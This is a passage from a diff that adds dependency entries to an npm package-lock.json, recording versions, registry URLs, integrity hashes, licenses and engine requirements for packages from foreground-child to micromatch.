"3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/foreground-child/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha512-OMcX/4IC/uqEPVgGeyfN22LJk6AZrMkRZHxcHBMBvHScDGgwTm2GT2Wkgtocyd3JfZffjj2kYUDXXII0Fk9W0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "license": "MIT" + }, + "node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "license": "ISC", + "optional": true + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gauge": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", + "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.3", + "console-control-strings": "^1.1.0", + "has-unicode": "^2.0.1", + "signal-exit": "^3.0.7", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.5" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "license": "MIT" + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/has": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.4.tgz", + "integrity": "sha512-qdSAmqLF6209RFj4VVItywPMbm3vWylknmB3nvNiUIs72xAimcM8nVYxYr7ncvZq5qzk9MKIZR8ijqD/1QuYjQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", + "license": "ISC", + "optional": true + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "license": "BSD-2-Clause", + "optional": true + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/humanize-ms": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", + "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "license": "ISC", + "optional": true + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "license": "ISC", + "optional": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "license": "ISC" + }, + "node_modules/into-stream": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-6.0.0.tgz", + "integrity": "sha512-XHbaOAvP+uFKUFsOgoNPRjLkwB+I22JFPFe5OjTkQ0nwgj6+pSjb4NmB6VMxaPshLiOf+zcpOCBQuLwC1KHhZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "from2": "^2.3.0", + "p-is-promise": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ip-address": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", + "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "license": "MIT" + }, + "node_modules/is-core-module": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", + "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-lambda": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", + "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "license": "MIT", + "optional": true + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "license": "MIT" + }, + "node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "license": "MIT", + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "license": "MIT" + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/loglevel": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.9.2.tgz", + "integrity": "sha512-HgMmCqIJSAKqo68l0rS2AanEWfkxaZ5wNiEFb5ggm08lDs9Xl2KxBlX3PTcaD2chBM1gXAYf491/M2Rv8Jwayg==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/loglevel" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-fetch-happen": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", + "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "license": "ISC", + "optional": true, + "dependencies": { + "agentkeepalive": "^4.1.3", + "cacache": "^15.2.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^6.0.0", + "minipass": "^3.1.3", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^1.3.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.2", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^6.0.0", + "ssri": "^8.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": 